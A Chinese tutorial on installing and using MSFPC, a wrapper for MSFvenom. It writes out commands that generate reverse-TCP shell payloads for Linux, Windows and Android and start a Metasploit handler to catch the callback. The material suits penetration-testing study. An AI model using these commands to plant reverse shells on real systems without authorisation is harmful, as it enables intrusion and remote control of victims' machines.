一般来说,生成payload的默认工具是MSFvenom,这是一个独立于Metasploit的payload生成器及编码器。虽然它是一个非常强大的payload生成神器,但是对于一些新手来说,可能难以在短时间内熟悉其操作。即使在进行最初的了解之后,生成一个基本的payload也需要输入相当多的内容,而今天,我们将看到使用MSFPC更便捷地生成paylaod。

MSFPC,或者说是MSFvenom Payload生成器,其实是一个基于MSFvenom的Payload生成器,但是它旨在简化基本的有效载荷创建过程,用户使用MSFPC可以尽可能简单地创建Payload,有时甚至只需要一个参数!如果你以前使用过MSFvenom,那么可能已经自行编写了一个简单的shell脚本来自动化频繁地生成Payload。即使这样,这个工具也绝对值得一试。

第一步:安装MSFPC

首先,我们需要先行安装MSFPC,步骤会因为操作系统的差别而有所不同。

第一种:在Kali Linux上安装

如果你想要在Kali Linux上安装MSFPC,那么可能会十分简单,因为它已经包含在了Kali工具库中。如果没有,那么就使用apt安装,如下所示:

apt install msfpc

第二种:在一般的Linux上安装

对于没有这个软件包的Linux和Unix版本,只需要在终端从github进行克隆就好了:

 

git clone https://github.com/g0tmi1k/mpc

cd mpc

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456.jpg

一旦成功克隆,就可以将其复制到一个目录中了,对于脚本本身,可以选择/usr/bin。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456 (1).jpg

我个人不喜欢搞乱/usr/bin,把他们放在自己的目录中方便时刻跟踪我编译的或者是从github上获取的工具,当然了,这些都取决于你自己。

为所有用户安装

为了可以放在/usr/bin中,先切换到你的mpc目录,然后使用终端改变脚本权限,如下所示:

 

cd /path/to/mpc //mpc的目录

sudo chown root:root msfpc.sh

sudo chmod 755 msfpc.sh

sudo cp msfpc.sh /usr/bin

这组命令意思是将脚本的所有者和组都更改为root,然后使用chmod命令将文件权限配置为755,最后,将脚本移动到/usr/bin中。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456.jpg

为特定用户安装

要安装到主目录中的pentest文件夹,你需要打开你的终端并输入以下内容开始该过程:

 

mkdir ~/pentest

cd /path/to/mpc

chmod 700 msfpc.sh

cp msfpc.sh ~/pentest

你可能已经有一个pentest目录。如果是这样的话,就没有必要再创建一个新的。 chmod命令将脚本的权限更改为RWX ——。然后我们将它复制到pentest目录中。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456 (1).jpg

这还没完,因为这个目录不是我们路径的一部分,为了解决这个问题,我们需要编辑我们主目录中的.bashrc。我一直在用Vim,当然你可以使用任何喜欢的编辑器(leafpad),你需要键入以下内容:

vim ~/.bashrc

一旦你开始编辑了,使用以下命令将pentest目录添加到路径变量中:

PATH=$PATH:/path/to/my/pentest/directory

你可以省略最后的斜杠。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456.jpg

保存后,使用source和which命令:

 

source ~/.bashrc

which msfpc.sh

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456 (1).jpg

这样一来,MSFPC就完成安装了!

生成一个Linux Payload

现在我们已经在自己选择的系统上安装了该工具,接下来就开始生成Payload。对于我们的第一个Payload,我们将使用msfpc.sh生成一个基本的Linux反向TCP ELF Payload。

对于第一个Payload,我们只需要将一个参数传给MSFPC。

msfpc.sh linux

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456 (2).jpg

首先需要注意的是,我只告诉了MSFPC我想生成一个Linux Payload,没有任何其他的信息,所以MSFPC不知道我们想连接的地址,所以它提供了选项。WAN是我的外部IP,lo是本地的,ens33是我的网络接口。

我选择了2(ens33),如果你记不住你的地址,那么这种方式就可以节省你很多时间。CMD那里显示的输出是生成该Payload而执行的完整MSFvenom命令,相当详细,而且你也可以进行核对。

一旦生成了Payload,就可以设置一个Metasploit handler来测试一下了,但是我也不必手动配置这个handler,因为Msfpc.sh会创建一个名字类似于Payload的文件,拓展名为rc。为了启动这个handler,我只需要将文件放到Metasploit中。

sudo msfconsole -q -r '/home/barrow/linux-shell-staged-reverse-tcp-443-elf.rc'

此命令中sudo的原因是因为我只是试图绑定到端口443的普通用户。-q参数告诉msfconsole跳过启动画面,-r告诉msfconsole加载文件。完成后,一旦执行有效载荷,就会回连给我一个反向shell。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456.jpg

生成一个Windwos Payload

对于Windows,我想创建多种不同的Payload。Msfpc.sh允许批量创建Payload,这意味着我可以为特定目标创建所有Payload,以下是命令:

msfpc.sh windows batch ens33

在这个命令中,我告诉msfpc.sh使用我的IP创建所有Payload,在生成过程中,可能会出现一些错误,但是最终还是会有一批Windows Payload文件。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456 (1).jpg

生成安卓Payload

我们已经完成了Windows和Linux部分。接下来使用msfpc.sh为Android设备生成一个Payload。对于这个例子,我将生成一个Android反向TCP HTTPS MeterpreterPayload。可以用下面的命令:

msfpc.sh apk HTTPS ens33

该命令将为Android创建一个反向TCP有效载荷,并使用我IP地址通过HTTPS进行通信。

simplify-payload-creation-with-msfpc-msfvenom-payload-creator.w1456.jpg

总结

当谈到快速创建基本的Payload时,Msfpc.sh是真的不错。这个脚本的主要缺点是它只能用于生成基本的Payload。而无法生成任何经过编码的,可绕过防病毒的Payload,但这取决于你的目标。很多时候,你只需要快速创建一个Payload,把它放在某个地方,然后每天给它“打电话”。在这种情况下,msfpc.sh真的很棒。

在整篇文章中,我主要介绍了涉及了msfpc.sh的各种选项。但还有很多其他选项可用,你可以使用–help verbose,这样一来,脚本会为你提供完整的帮助文件。帮助文件非常之详细,且易于阅读。

相关阅读:WinPayloads:一款可生成难以被检测到的payload之神奇工具

*参考来源:wonderhowto,Covfefe编译